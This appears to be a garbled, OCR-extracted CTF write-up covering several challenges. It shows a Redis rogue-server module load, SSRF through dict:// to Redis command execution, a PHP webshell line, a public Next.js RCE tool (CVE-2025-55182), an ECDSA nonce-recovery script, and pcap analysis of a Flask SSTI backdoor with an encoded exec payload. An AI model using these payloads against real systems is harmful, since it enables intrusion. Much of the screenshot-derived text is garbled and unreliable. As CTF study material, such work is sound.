CTF x00\x03\x00>\x00\x01\x00\x00\x00\x80 (\x00\x00\x00\x00\x00\x00@\
M Awsome-Redis-Rogue-Server x00\x00\x00. .. "
[*] Wait for redis IO and trans flow close...
[+] Accept connection from 2 5
> RedisModules [>>]b'PING\r\n"
[<<]b'+PONG\r\n'
[>>]b'REPLCONF listening-port 6379\r\n'
exp.so [<<]b'+0K\r\n'
exp.sobak [>>]b'REPLCONF capa eof capa psync2\r\n'
<<]b"+ !
R LICENSE %>>%E.chh£\? -1\r\n’ e 304G/3926
module.so [<<]b'+FULLRESYNC 9b2a5f54d33ca7c27924f67c7d14d9a490773b86 1\r\
n$44320\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\ *®  ®/s B/s
x00\x03\x00>\x00\x01\x00\x00\x00\x80 (\x00\x00\x00\x00\x00\x00@\ 00B  533kKB
@ redis rogue serverpy x00\x00\x00. . . '
v ol BlindWaterMark-master [*] Wait for redis IO and trans flow close...
[+] Accept connection from
@ bwmpy [>>]b'PING\r\n"
@ bwmfory [<<]b'+PONG\r\n'
B EASYpng 3006 866G %

> git

piid B
59 KB/s 26.6 MB
707.0 B/s 3.1MB

gitattributes

README.md
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2560K 240K
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RE Bfs 3@ Intruder P 28) G HOBIE HWWTE B Organizer(@A%) B %3 WAF Cookie Fetcher @ >- O &
Deserialization Scanner
ey + P v
EAs < v Burp Al BiF: http dotide ®

-

Inspector 2

AR WRL - _
v

£t  Raw  Hex 2tk Raw Hex M EEES g
1 POST / HTTP/2 1 HTTP/2 200 0K 2
2 Host: eci—2ze41h8Ipruhzqj5fbug. oloudecit. ichungiu. com:80 2 Date: Sun, 28 Dec 2025 10:56:22 GT #H: URLEE v 0® §
3 Cookie: PHPSESSID=add4d2c3nf967kmaeq63d1p9d5 3 Content-Type: application/json =
4 Content-Length: 57 4 Content-Length: -ERR Syntax error, try CLIENT (LIS
5 Sec-Ch-Ua—Platform: "Windows” 5 Expires: Thu, 19 Nov 1981 08:52:00 GHT T | KILL | GETNAME | SETNAME | PAU
6 Accept-Language: 9 6 Cache=Control: no-store, no-cache, must-revalidate, post-check=0, SE | REPLY) \r [\n B
7 Sec-Ch-Ua: "Chror "Not A(Brand"; pre-check=0
8 Content-Type: appl ication/x-ww—form-ur |encoded 7 Pragna: no-cache B
9 Sec-Ch-Ua-tlobile: 20 8 Ht
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | 9 |

(KHTML, Tike Gecko) Chrome/143.0.0.0 Safari/537.36 “success”: true,

11 Accept: */* "content”: Q

12 Origin: https://eci-2zeatth2Bvanuaf3gs10. cloudeci. ichunqiu. com:80 "LUVSU T10gKExJU10gFOBL =

13 Sec-Fetch-Site: same-origin TRSBE | FUFUEXZKQOK, i i

14 Sec-Fetch-ode: cors XR G 11CmxpYgpsall | 2NA ]

15 Seo-Fetoh-Dest: empty 31 DOo=

16 Referer: https://eci-2zeatth28vawuaf3gé10. cloudecil. ichunaiu. com: 80/ "is_binary”:true,

17 Accept-Encoding: gzip, deflate, br ext\/plain”, 5

18 Priority: u=i, i 197,

19 0, m

20 action=fetchur I=dict://127.0.0. 1:6379/system. exe rI":"dict:\/\/127.0.0. 1:6379\/system. exec:\"Is \/\"", At

"time":0. 006 <
i
&
EEEY A
O« > o omx D} € > sear O OB Selection: 264 (0x108) | WRIRHE 2 v g

=
WAL FEEEG)”
Burp IE Intruder Repeater(Efs) =& )

Intruder Collaborator

[ 4 Bix  f#

Deserialization Scanner

Repeater(FH28)

+¢ Burp Al

Hex

Raw

POST / HTTP/2

Host: eci-2ze4|h8lpruhzaj5fbug. cloudecit. ichunqiu. com:80
Gookie: PHPSESSID=add4d2c3nf967knaeab3d1p9d5
Content-Length: 70
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh=CN, zh;q=0.9
Sec-Ch-Ua: "Chromium";v="143", "Not A(Brand";
Content-Type: application/x-wm—form-ur |encoded

Sec-Ch-Ua-Nobile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x64) AppleWebKit/537. 36
(KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

11 Accept: */%

12 Origin: https://eci-2zeatth28vawuaf3g610. cloudecit. ichunqiu. com:80

13 Sec—Fetch-Site: same-origin

14 Sec-Fetch-Hlode: cors

15 Sec-Fetch-Dest: empty

16 Referer: https://eci-2zeatth28vawuaf3gé10. cloudecil. ichunaiu. com:80/

17 Accept—Encoding: gzip, deflate, br

18 Priority: u=1, i

g

Somuouawn

20 action=fetchgur I=dict://127.0.0. 1:6379/system. exec: "cat /fl|laaagegee"

[@FCHHE )
s

BHES  FEEEe)”

66375 | 40 millis
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Bi7: http: cloudeci com:80 /0 HTTP2 (3)
== Inspector = - X g
]2 =
— 1FT1QgKEXJU1Qg fCBLSUXMIHWgROVUTKEN =
Eft  Raw  Hex = = | | RSBOIFNFVESBTUUGELCBOOVVTRSBEIFJFUE ]
1 HTTP/2 200 OK %ZKQOXIDQyDQpmbGFne2U4NDEXNzJ1 LThj o
2 Date: Sun, 28 Dec 2025 10:57:15 GMT NDMENDCSMy 1hN U3 LTNmY VINZJ MDY ZMK 2
3 Content-Type: appl ication/json ONCitPSWOK 2
4 Content-Length: 348
5 Expires: Thu, 19 Nov 1981 08:52:00 GHT
& Cache-Control: no-store, no-cache, must-revalidate, post-check=0, fBE3: Base64 v [OXC) B
pre-check=0
7 Pragma: no-cache -ERR Syntax error, try CLIENT (LIS B
8 T KILL GETNAME | SETNAME | PAU m
9 { SE | REPLY) Ne|in
$42 A\r
flag{e841172e Q
T10gKExJU10gfCBL [pecloe it . =
TRSBB | FJFUEXZKQOK JILThNDMEN +OK Rid
Do5My1hN JUSLTNmY jVINzJ JMDYZMXONC tPSwol &
s_binary":true,
text\/plain”,
135, MBE: URLEE v [CXC] %
0 _ -
AN " o . . -ERR Syntaz er try CLIENT (LIS
i g.;gz\, \/127.0.0.1:6379\/system. exec:\"cat \/f!||aaaggege\ D | KILL | SETNAME | PAU m
} B SE | REPLY) Ar \n H}
§42 4 \n )<\
flag{e841172e-8c43-4793-a657-3fbSe i
7 £ n &
OKINE! AR
TR 2 v
EREFSH 0 v
EREKSH 2 v
iskcookies 1 v
0 0EE Selection: 180 (Oxb4) o)
= an

592575 | 35 millis
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fDedeCMS! ¥ AEES AESR

& cht Lt s
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ﬁ: assets CES I T
. data el O
,L dede [CET]
= o el OHA
S include 4] €3]
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<?="cat /f* ;2>
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L{FH % [ AR ARYT < AN
LA [she11.pho CRRLER .7 AR

<?="cat /f* ;2>

A

#® % T AIEF

C @ Q8 : < d ichungiu.com

Doz OmETE O st O crme O SHE S EE - 510 (eetCod.. @ Sakurafrp @ A&EHKE = /30 (LeetCode) H...
flag{acba5b9f-59cf-4d70-b004-1744db5e3dc0}

flag (&

flag{acba5b9f-59cf-4d70-b004-1744db5e3dc0}

redjs
IRMERE

—ij& CVE &, ¥JHIE NextJS B9 RCE, CVE-2025-55182
BEiEETF 7 . NextRce https:/github.com/ynsmroztas/NextRce



python nextrce.py -u
https://eci-2zehjykr53d80fwlwSgb.cloudecil.ichungiu.com:300
0/ -c "cat /flag"

7 C\Windows\System32\cmd.e» X S

Microsoft Windows [fR7~ 10.0.26100.7462]
(c) Microsoft Corporation, {REEFFENFI,

D:\firefox\NextRce-main>python nextrce.py -u https://eci-2zehjykr53d80fwlw5qb.cloudecil.ichunqiu.com:3000/ -c "cat /flag

BAL e Tl T L
YA AN I | N2 I | A N

Next.js RSC Exploit Tool (CVE-2025-55182)

D:\firefox\NextRce-main>|

flag {B

flag{6a64f265-e3bf-4987-bc09-e80c682a644 1}



BHeF

EzFlag:

RMERE

12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
3e
31
32
33
34
35
36
37
38
39
40
41
42
43
44

std::string: :basic_string(v6, argv, envp);
std::operator<<<std::char_traits<char>>(& bss_start, "Enter password: ");
std::getline<char,std: :char_traits<char»>,std::allocator<char>>(&std::cin, ve6);
if ( (unsigned  int8)std::operator!=<char>{v6, "V3ryStr@ngp@sswerd") )

{
v3 = std::operator<<<std::char_traits<char>>(8& bss_start, "Wrong password!");
std::ostream: :operator<<{v3, &std::endl<char,std::char_traits<char>>);
}
else
{
std::operator<<<std::char_traits<char»>(& bss_start, "flag{");
std::ostream: : flush((std: :ostream *)& bss start);
1 =o1ELg
for e 8 <= 315 £ )
{
ve = F{i);

std: :operator<<<std: :char_traits<char»>((__int64)& bss_start);
std::ostream: :flush((std: :ostream *)& bss_start);
if (3=71li=12]]3==17]]3==22)

std: :operator<<<std::char_traits<char>»(& bss_start, "-");
std::ostream: :flush((std: :ostream *)& bss_start);

*= glL;
+= J + 64;
vB =1
std::chrono: :duration<long,std: :ratio<11,11>>: :duration<int,void>(v7, &vE);
¥
vd = std::operator<<<std::char_traits<char>>(& bss_start, "}");
std::ostream: :operator<<{v4, &std::endl<char,std::char_traits<char>>);

s

std::string: :~string(ve);
return @;

REEREE N f SEURKB RIS 2

{

int64 _ fastcall f(unsigned _ int64 i_1)

__inte4 v2; // [rsp+l@h] 1
unsigned _ int64 i; // [rsp+l [rbp-18h]
__int64 v4; // [rsp+28h] [rbp-18h]
_ int64 v5; // [rsp+28h] [rbp-8h]
v5 = @LL;
V= 1L
for { 1 =@LL; i < i _1; ++1 )
{
v2 = vé4;
v4d = ((_BYTE)v5 + (_BYTE)v4) & @xF;
NS = W2

}
// "912ab9c3478d56ef"
return *(unsigned _ int8 *)((__inte4 (_ fastcall *)(char **, _ int64))std::string::operator[]) (&K, v5);

ZORRENEEN K B R, BMEMRAIL 48 —E3A, EiZHS imod 48



TEXT1UYYYs335322935E mov Lrop+var_i |, @
text:0000555555555365 Jmp loc 555555555418

Text:BOOB5555555553bA § it rssasi s s s e e
text:000055555555536A

text:B0B055555555536A loc_55555555536A: ; CODE XREF: main+18143j
text:0000855555555536A mov rax, [rbp+i]

text:80008555555555371 call _Z1ty ; f(ulong long)
text:0000555555555376 mov [rbp+var_1D], al

text :08RB555555555379 MOVSX : o

text:B0OO55555555537D mov  Breakpoint

text :08R@55555555537F lea )

text:0000555555555386 moy | Leest S Editscript b
text:0000555555555389 call (erer Enrresr TR T std: :operator<<<std: :char_t1
text:B00055555555538EF lea

text:0008555555555395 oy Set  import idaapi,idc

text:A0AA555555555398 call rax_val = idaapi.get reg val("rax")
text:800055555555539D cmp (] idaapi.set_reg_val("rax", rax_val % 48)
text:00005555555553A1 jz a print(f"{hex(rax_val)}")
text:0BOB5555555553A3 cmp O

text:B0PR5555555553A7 jz

text :0BAB5555555553A9 emp d

‘text:@0805555555553AD jz a

4t . ANANCCCCCCCCCIAT Sty

~/Desktop

IDA Linux 64-bit remote debug server(ST) v9.0.30. Hex-Rays (c) 2004-2024
2025-12-28 05:17:55 Listening on 0.0.0.0:23946 (my ip 192.168.110.128) ...
2025-12-28 05:17:58 [1] Accepting connection from 192.168.110.1 ...

Enter password: V3ryStrongpassword
flag{10632674-1d219-09f29-14769-f60219a24}
2025-12-28 05:18:45 [1] Closing connection from 192.168.110.1 ...

flag (B:

ECDSA
BRMERE

E/fE nonce HREH

def nonce(i): seed = sha512(b"bias" + bytes([i])).digest() k =
int.from_bytes(seed, "big") return k nonce ATLA#E i k3K, sATLARITEXD
nonce BYITH



nonce = k = int.from bytes(sha5l2 (b"bias" +
bytes([i])) .digest (), "big")
From ECDSA: s = k*=-1 * (z + r*d) mod n

Therefore: d = r*-1 * (s*k - z) mod n

exp.py
from ecdsa import SigningKey, NIST521p, VerifyingKey from hashlib import sha512,

sha1 from Crypto.Util.number import bytes to_long, long_to_bytes import binascii

with open("public.pem”, "rb") as f: vk = VerifyingKey.from_pem(f.read())
sigs_data = [] with open("signatures.txt", "r") as f: for line in f: msg_hex,
sig_hex = line.strip().split(":") msg = binascii.unhexlify(msg_hex)
sig = binascii.unhexlify(sig_hex) sigs_data.append((msg, sig)) def
extract_sig(sig): r = int.from_bytes(sig[:66], "big") s = int.from_bytes(sig[66:],
"big") returnr, s curve_order = NIST521p.order found = False for i in
range(len(sigs_data)): msg, sig = sigs_data]i] z =
bytes_to_long(sha1(msg).digest()) r, s = extract_sig(sig) # k =
int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big") k =
bytes to long(sha512(b"bias" + bytes(][i])).digest()) r inv = pow(r, -1,
curve_order) priv_key = (r_inv * (s * k - z)) % curve_order sk_candidate =
SigningKey.from_secret_exponent(priv_key, curve=NIST521p) vk _candidate =
sk_candidate.verifying_key if vk_candidate.to_string() == vk.to_string():
print(f"Found d={priv_key}") found = True break if not found:
print("Private key not found")

d=117861902739067825667063005465047426290119004352697010417316974140
27484824601255112180676531145294320443777235338538357924760601782873
554458995940394745073

flag BP9 flag{md5(d)}


https://exp.py

Recipe ~ OB 8 Input + 038

~ 0 117861902739067825667063005465047426290119004352697010417316974140274848246012551121806765

]
pe 31145294320443777235338538357924760601782873554458995940394745073

mec 155 = 1 Tr Raw Bytes ¢ LF

Output =] r|:| m o

[581bdf717b780c3cd8282e5a4d50F3a0

flag (&

flag{581bdf717b780c3cd8282e5a4d50f3a0}

e AT

SnakeBackdoor-1
BMERE:

TEIRFTEES admin B3 http 53K

M attackpcap = =] X
TP REED WEV) WEG) WO AIA) FHHS) WEYV) REW) IAM M)
AW 3@ REI] = QaaeTh
[A[httprequest.uri contains *admin/login®
No. Time Source Destination Protocol Lengt Textitem  Info

28132 174.542075  192.168.1.111 192.168.1.200 HTTP 721/ POST /admin/login HTTP/1.1 (application/x-wwu-form-urlencoded)

28134 174.544143  192.168.1.111 192.168.1.200 HTTP 723/ POST /admin/login HTTP/1.1 (application/x-www-form-urlencoded)

28147 174.557583  192.168.1.200 192.168.1.111 HTTP 877 / HTTP/1.1 200 OK  (text/html)

28148 174.557777  192.168.1.200 192.168.1.111 HTTP 877 / HTTP/1.1 200 OK (text/html)

28163 174.585764  192.168.1.111 192.168.1.200 HTTP 725 / POST /admin/login HTTP/1.1 (application/x-www-form-urlencoded)

28170 174.598988  192.168.1.200 192.168.1.111 HTTP 877 / HTTP/1.1 200 OK (text/html)

28176 174.601531  192.168.1.111 192.168.1.200 HTTP 725 / POST /admin/login HTTP/1.1 (application/x-www-form-urlencoded)

28182 174.614935  192.168.1.200 192.168.1.111 HTTP 877 / HTTP/1.1 200 OK (text/html)

28196 175.271244  192.168.1.111 192.168.1.200 HTTP 718 v POST /admin/login HTTP/1.1 (application/x-ww-form-urlencoded)

28201 175.285410  192.168.1.200 192.168.1.111 HTTP 877 / HTTP/1.1 200 OK _(text/html)

28397 192.379662 _ 192.168.1.111 192.168.1.200 HTTP 7V [POST /admin/login HITP/1.1_(application/x www_form urlencoded)
- 28402 192.394113  192.168.1.200 192.168.1.111 HTTP 265 / HTTP/1.1 302 FOUND (text/html)
« »
> Frame 28397: Packet, 721 bytes on wire (5768 bits), 721 bytes captured (5768 bits) 00 0c 29 15 62 83 10 7b 44 bo do 11 08 00 45 00 [B
> Ethernet II, Src: ASUSTekCOMPU_b@:d@:11 (10:7b:44:b0:d@:11), Dst: VMware_15:62:83 (00:0c:29:15:62:83) 02 c3 36 06 40 00 80 06 3d a7 c0 a8 01 6f cO a8 =- 4
> Internet Protocol Version 4, Src: 192.168.1.111, Dst: 192.168.1.200 o1 c8 d8 (24:13 88 3 dd 77 Oc b 60 a8 15.50.18 o e B
> Transmission Control Protocol, Src Port: 55332, Dst Port: 5000, Seq: 1, Ack: 1, Len: 667 20 03 Oc 87 00 00 50 4f 53 54 20 2f 61 64 6d 69 ST /admi
e e Bt 6e 2f 6c 6f 67 69 6e 20 48 54 54 50 2f 31 2e 31 HTTP/1.1

T 0d 0a 48 6f 73 74 3a 20 31 39 32 2e 31 36 38 2e 192.168.

> HTML Form URL Encoded: application/x-www-form-urlencoded SR e Il el e e Fem

65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 34 0d 0a  ent-leng th: 34--

IR FERLAREI—N/3 302 FOUND BEEERIML, SREERMINAVEIES



M Wireshark - 1822 HTTP i (tcp.stream eq 1764) - attack.pcap = [m] X

| POST /admin/login HTTP/1.1
Host: 192.168.1.200:5000
| Content-Length: 34
Cache-Control: max-age=0
Origin: http://192.168.1.200:5000
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@ 15 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.9.0 Safa
ri/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7
Referer: http://192.168.1.200:5000/admin/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9 ‘
Connection: keep-alive

username=admin&pas sword-EE eI IPE| ‘
HTTP/1.1 302 FOUND

Server: Werkzeug/3.1.4 Python/3.12.3
Date: Sun, 21 Dec 2025 ©5:07:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 211 |
Location: /admin/panel |

Vary: Cookie |

Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzeyIsIIxINZY3YIXINWYINVXINFIXMFXINTISZi)dfVesImlzX2FkbWluIjp@cnVl I

Q. aUeAgw.GuD8Xn-9rTNJ jWeht5UjoAEJEN4; HttpOnly; Path=/

Connection: close |
|
|

<!doctype html>

<html lang=en>

<title>Redirecting...</title> i
<h1>Redirecting...</h1>

<p>You should be redirected automatically to the target URL: <a href="/admin/panel™>/admin/panel</a>. If not, click the
link.

|
|
|
BE 28402, 1 BFURAE 1SR LE, 1 turn(s) s |
|

BAHE (1270 bytes) ~ BEmrA ASCI ~ No delta times  ~ i 1764 2
=i O ESF+AS | ERF—MN) |
BRI FJED SEA.. IEE E=vil = ‘

EEBEIERZR zxevbnm 123

flag (B:

SnakeBackdoor-2

BRMERE:

AEWEEBS IR hitp HIREEIESEER, FTLIERIES SSTI E{7* 7))

IR )



M Wireshark - I8z HTTP 3 (tcp.stream eq 1768) - attack.pcap = [m] X

| POST /admin/preview HTTP/1.1

| Host: 192.168.1.200:5000

| Content-Length: 33

Cache-Control: max-age=0

Origin: http://192.168.1.200:5000

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@ 15 7) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/143.90.9.0 Sa
| fari/s37.36

| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/s
| igned-exchange;v=b3;q=0.7

Referer: http://192.168.1.200:5000/admin/panel

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=eyJlpcl9hZGlpbil6dHI1ZX0.aUeAgw.2bXPGbewHI1UEKhDw49kSJYiYP3U

Connection: keep-alive

preview content={§:¥ ¥l STAIET TV

HTTP/1.1 200 OK

| Server: Werkzeug/3.1.4 Python/3.12.3

| Date: Sun, 21 Dec 2025 05:07:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1319

| Vary: Cookie

Connection: close

| <!doctype html>
| <html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />

2 B sl s 4 e TR </title>

<link rel="stylesheet" href="/static/style.css">
</head>
<body>

<div class="nav">

B 28546, 1 BFUR A 1 MBS LE, 1 turn(s) s

BAHE (2252 bytes) ~ FmAa ASCI ~ No delta times i 1768 *
=i O E8xAS | ERF—MN)
BRI FJED SEA.. IEE E=vil =

Bt EEE R X /admin/preview BYIESK, BTLARIIAIT{config)}AY&dEE



M Wireshark - I8z HTTP 3 (tcp.stream eq 1768) - attack.pcap = [m] X

| POST /admin/preview HTTP/1.1
Host: 192.168.1.200:5000

! Content-Length: 33

Cache-Control: max-age=0

Origin: http://192.168.1.200:5000

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@ 15 7) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/143.90.9.0 Sa

| fari/s37.36

| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/s

igned-exchange;v=b3;q=0.7

Referer: http://192.168.1.200:5000/admin/panel

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=eyJlpcl9hZGlpbil6dHI1ZX0.aUeAgw.2bXPGbewHI1UEKhDw49kSJYiYP3U

Connection: keep-alive

preview content={§:¥ ¥l STAIET TV

HTTP/1.1 200 OK

Server: Werkzeug/3.1.4 Python/3.12.3
Date: Sun, 21 Dec 2025 ©5:07:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1319

Vary: Cookie

Connection: close

<!doctype html>
<html lang="zh-CN"»
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />

2 B sl s 4 e TR </title>

<link rel="stylesheet" href="/static/style.css">
</head>
<body>

<div class="nav">

DE 28546, 1 BT BE 1 BB DE, 1 turn(s) s
BAHE (2252 bytes) ~ FmAa ASCI ~ No delta times i 1768 *

=2 O EsxNS | ZHEF—MN)

BRI FJED SEA.. IEE Bl =i




M Wireshark - i8EZ HTTP i (tcp.stream eq 1779) - attack.pcap = [m] X

<div>

<textarea name="preview_content" rows="6" cols="86">Hello, world</textarea>
</div>
<div>

<button type="submit">............ </button>
</div>
</form>

: True, &#39;TESTING&#39;: False, &i39;
; 432-e1cdfO51F1608439;, &H#39; JTeNAM (A
_FALLBACKS&#39;: None, &#39;PERMANENT SESSION LIFETIMER&#39;: datetime.timedelta(days=31), &#39;USE_X SENDFILE&#39;: Fa
1se, &#39;TRUSTED HOSTS&4#39;: None, &#39;SERVER NAME&#39;: None, &#39;APPLICATION ROOT&#39;: &#39;/&#39;, &#39;SESSION
_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION COOKIE DOMAIN&#39;: None, &#39;SESSION_COOKIE PATH&#39;: None, &#39
3SESSION _COOKIE HTTPONLY&#39;: True, &#39;SESSION COOKIE SECURE&#39;: False, &#39;SESSION_COOKIE PARTITIONED&#39;: Fal
se, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39
5+ None, &#39;MAX FORM MEMORY_SIZE&#39;: 500000, &#39;MAX_FORM_PARTS&#39;: 1000, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;:
None, &#39;TRAP_BAD REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#3

9;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE
&#39;: 4093, &#39;PROVIDE_AUTOMATIC_OPTIONS&#39;: Truel}&gt;</div>
P 1V R A S AT </h2>
| i o D b
<hr/>
| </body>
</html>

B 28625, 1 BFUR A 1 MRS O, 1 turn(s) s

BAHE (3432 bytes) ~ FmAa ASCI ~ No delta times 1779 2
=i O E8xAS | ERF—MN)
BRI FJED SEA.. IEE E=vil =

Flask RZFBHY "SECRET_KEY SifEMMER, BD:

€6242af0-6891-4510-8432-e1cdf051f160

flag (E:

SnakeBackdoor-3
RERE:

E LR EREENEIRE, JIAKI—IE base64 £E



M Wireshark - I8z HTTP 3 (tcp.stream eq 1789) - attack.pcap = [m] X

POST /admin/preview HTTP/1.1

Host: 192.168.1.200:5000

Content-Length: 4602

Cache-Control: max-age=0

Origin: http://192.168.1.200:5000

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@ 15 7) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/143.90.9.0 Sa
fari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/s
igned-exchange;v=b3;q=0.7

Referer: http://192.168.1.200:5000/admin/panel

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=eyJlpcl9hZGlpbil6dHI1ZX0.aUeAgw.2bXPGbewHI1UEKhDw49kSJYiYP3U

Connection: keep-alive

preview content={{url for. globals [ builtins ']['exec’]("import base64; exec(baseb4.bb4decode( XyASIGxhbWIkYSBFX
YAGIFSfaWlwb3J0X180I3psaWInKS5kZWNvbXByZXNzKF9falWlwb3J10X180J2Thc2U2NCcpLmI2NGR1Y29kZShTX1s6010xXSkpOwpleGVjKChTKShiJz1l
JNENVM3hQKy8vd1B6ZnR20GdyaTYzNWEWVDFyUXZNbEtHaTNpaUJ3dm@2VEZFdmFoZ1FFM1BFajdGT2NFVEIQSThUR3FaTUMrbD1Bb117R2VHVUFNY 2Fyd
ANpVHZCQ3YZzN31zK@4x0DVOb2NmbWpFL2ZPSGVpNESuZTBDTDVUWNAKb3BFbEpATHISVKZYd1Jsb2E1UXZyam1UUUt 1Ryt TR215WmOrNXpUay 9WM25aMEc
2TmVheDdIdDZudSthY3hxe3Ive2djN1I1RUZAZkVIMNAZMF11bX15aXMz dWFWMXArQWowaUZ 2cnRTc@1Va2hKVz 1WOVMvdESrMC820GdmeUtNL31FOWhmN
1M5ZUNEZFFwU31MbktrRG1Razk3VFV1SORQCBISM3BRbGRCLIVYdmI@YzRXQTFELZ1jdFpBV2NKK2pISkwxay tOcEN5dktHVmh4SDhETEW3bHZ1K3c55W5
VLz16dDFzWCIUCc1VSVjdWMHhFWFpOU2xsiklacjFrY@xKaFplQjhXNT15bXhxZ3FYSkpZV@ppMmaSNmhLdFNhMmRhY1i9GMHhCAVIpWmIUWEZ JRm1ENmtuR
3ovb1B4ZVBUenVqUHE1SVd@OE5abXZ5TTVYRGCVTDhKVS9tQzRQU3ZYQStncWVIRHhMQ2x6USESEpVbXZ0a2FMYkp2Y1pjU2¢3VGdENIVTZUpXaBNRb2p
TaStITklFajVjTjErRkZncEtSWG40Z115eXAzL1Y30VduU2VFRk1PNkMOaGNKYzRtd3BrkKzA5dDF5dWUOK21BbGIobHhuWE@XUGZrK3NHQmM1hVUZFMWtFa
k9wbmZHbnFzVithdU9xakpnY@RzaXZIZCt3SFBIYXpONU1WczRySFIoWUIPQjZ5WGp1R11iRkhpM1hLV2hiNOFmTVZ 2aHg3Rj1hUGpObUlpR3FCVSIoUkZ
VdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSULIF5cE9oWESVTDRIRKZORXppdiWZ aUFN5c11Q51dKbEFRcORPK2RsaTQ2Y24xd
TVBNUh5CcWZuNHZ 3N3pTcWUrV1VRL1IpL@tudjBwUWOXSDFKOWRHSNAEZnFtZ37uS2krZ055dWdjZ1VqRzczVjZz L 3RpaGx@0ETyMOt2bUp6cWIMUHptduh |
YMFIGVUpLWmpHYT czaUxYVDRPdmxoTFJhU2JUVDROCSITQ2tOR1I5ak xWbVNgMmt yMEdT c3FUamxMMmw2Yy9 jWEtXalINdDFrTUNEQ@NUVithSmUebnB2b |
QI50U9NbktuWlTOWXM1M]ZtVEZUbIN3YTVgbXhCbWtSWUNTQTgyROZ LN2F rNm]JU1RmMRE1zVOdzWnZBRVh2M1BmdjVOUNnpjSUZOTZNeY1FrZUIVTEIWT 1¢c

|

|

1TGZBa21SNjgvNnpy TDBEWM9QanpGilkk 1VkxmcTBydj1Dd1V1SmtSM1BIY3VgKytkL 2xPdms4L2gzSHpTZ11URGN3bDF1ano4aDRvVW1QeUdUNzROamI ZN
2ZKOHZVSHFOeitaVmZPdFZ3L30zUk11cVNVekVBS3I1qY1UyRESRZWhCMGIZN3hIbEIUOXUSQ1QBUKIVREZVK zVaRjZ6VmMIIQTR1ISWNriWFVPUDNScFF2NXB
FWUCrMHBXNE15SG1BUWZzT2FXeUlkZk1lvcWI3LO@5b@1tZEdLZEt5MVdxM2FxK3QreHV5VmMROQVFNaGIXMKE 3e 1F6b2T4WEdBM@c4VNVvS@hHT2NIMVIQ
2IvR111U3hkd313ZWRBeGtsTEXZTUJIb2pUU3BEMWRFeGI6ZGk40Udpa2zhbMzMwWNIWSKVG1FQ3YwWmOVTOhhY25xdFVWaEpseTdWZ3ZYKOpsYXdBWT lvcks
QVW1aTTdRS2IkT2tUZi9vOGFRbFM1RMUveFFrTO1KR200T1hxTGVoaVIIYjkyNXNUZ1Z4d2907Z1A1djFNR2xhc 11INaWZIbDIyRXA1Qz cxaXBGanBBR2FFc

BE 29180, 1 B AE 1SR LE, 1 turn(s) s

BAHE (6825 bytes) ~ FmAa ASCI ~ No delta times i 1789 *
=i O ESF+AS | ERF—MN)
FJED SEA.. IEE E=vil =

| e

FRIDREEIB—IE5G zlib [E48FE base64 HY F=fTea

Download CyberChef ¥ Last build: A year ago Options ¢ About / Support @)

Operations Recipe ~ BT input + 0Oz 8=
Search. F B . ® n ZékZShlesGOinxS;(pprleGVjK(hFKShilejNENVMBhQKySvdlBéinRZOGdyaTVzNNEwVDFyUXZNbEtHaTNp.aU]3dmal\/E
- il ZFdmFoZ1FFMIBFajdGT2NIVE1QSThUR3FATUMADD]Bb11ZR2VHVUENY 2FydINPVHZCQ3YZN312K@4X0DVOb2NmbIWpFL2ZPSGV
. pNEQuZTEDTD\/UNHdeBBFbEpdTHISVkZVﬂl]SbZE"' “'”‘"’lRytTRZ pl 2TmVhcDdIdDZudSth
Favourites * Alphabet v ;
